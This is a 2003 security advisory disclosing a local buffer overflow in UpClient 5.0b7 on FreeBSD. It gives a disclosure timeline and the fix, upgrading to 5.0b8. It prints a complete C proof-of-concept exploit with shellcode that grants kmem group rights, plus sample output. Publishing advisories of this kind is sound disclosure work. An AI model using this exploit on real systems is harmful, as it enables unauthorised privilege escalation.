NuxAcid#002 - Buffer Overflow in UpClient

[Gino Thomas <g.thomas () nux-acid org>]

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
NUX-ACID ADVISORY #002

Advisory name           : Local Buffer Overflow in upclient 
Risk                    : Medium (exploit grants kmem rights)
Date                    : 27.05.2003
Application             : upclient
Versions Vulnerable     : UpClient 5.0b7, possible others
Vendor                  : Carsten Klapp <carstenklapp () users sf net> \
                          Ryan Grove ryan () wonko com

Timeline:
23.05.03 - found vulnerability
23.05.03 - written proof of concept code
23.05.03 - informed the author(s)
25.05.03 - informed the freebsd security officers
26.05.03 - solution found
27.05.03 - public release


by Gino Thomas (alias 'dairaen'), http://www.nux-acid.org
This information is provided freely to all interested parties
and may be redistributed provided that it is not altered in any way

This advisory was provided under the policy 
documented at http://www.wiretrip.net/rfp/policy.html
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=


=+[Overview]+=

Uptime Client is a little program that keeps track of your uptime and
sends it to a server where you can compare it to many other hosts and
browse through various statistical information. 

WWW: http://uptimes.wonko.com/


=+[Description]+=

While pentesting the FreeBSD portstree i found /usr/ports/misc/upclient
vulnerable to a common buffer overflow.

on FreeBSD at least upclient is installed (default):
-r-xr-sr-x  1 root  kmem  28312 Mar 23 19:58 /usr/local/sbin/upclient

means, the attacker could get egid=2(kmem) groups=2(kmem) rights,
which at least provide read access to the following files:

develop# find / -group kmem
/dev/kmem
/dev/mem
/dev/perfmon
/usr/bin/fstat
/usr/bin/ipcs
/usr/bin/netstat
/usr/bin/systat
/usr/bin/top
/usr/bin/vmstat
/usr/sbin/iostat
/usr/sbin/pstat
/usr/sbin/swapinfo
/usr/sbin/trpt
/sbin/ccdconfig

Having egid=2(kmem) groups=2(kmem) makes it easier
to get root privileges.

> From 'man kmem':

"The special file /dev/mem is an interface to the physical memory of the
computer.  Byte offsets in this file are interpreted as physical memory
addresses.  Reading and writing this file is equivalent to reading and
writing memory itself.  Only offsets within the bounds of /dev/mem are
allowed.

Kernel virtual memory is accessed through the interface /dev/kmem in the
same manner as /dev/mem.  Only kernel virtual addresses that are cur-
rently mapped to memory are allowed."


=+[Proof]+=

See the exploit in action:

> id
uid=1001(admin) gid=1001(admin) groups=1001(admin), 0(wheel)
> ./upclient_exploit
$ id
uid=1001(admin) gid=1001(admin) egid=2(kmem) groups=2(kmem), 
1001(admin),0(wheel)
$

-------------------------------upclient_exploit.c-------------------------------
/*
*       
* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
* written on/for FreeBSD
* tested against UpClient 5.0b7 on FreeBSD 4.8
* for FreeBSD 5.x the code has to be tweaked
* other versions may be vulnerable too
*
* 2003 by Gino Thomas, http://www.nux-acid.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFERSIZE 1022


unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
  char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode
static char shellcode[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

memset(buffer, 0x90 ,sizeof(buffer));
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
return 0;
}
-------------------------------upclient_exploit.c-------------------------------



=+[Solution]+=

The author was informed 23.05.03. He immediately
started to develop a patch and has taken security
very serious, always informing me about his steps
and willing to improve the overall security of 
upclient.


Patches:

upgrade to UpClient 5.0b8 at https://sourceforge.net/projects/upclient/



=+[Personal Marketing]+=

I am seeking a JOB in munich (germany).
If you have security related jobs to offer
please feel free to contact me at g.thomas () nux-acid org

You can get a short overview of me and my skills
by reading the personal section of my website 
http://www.nux-acid.org

EOF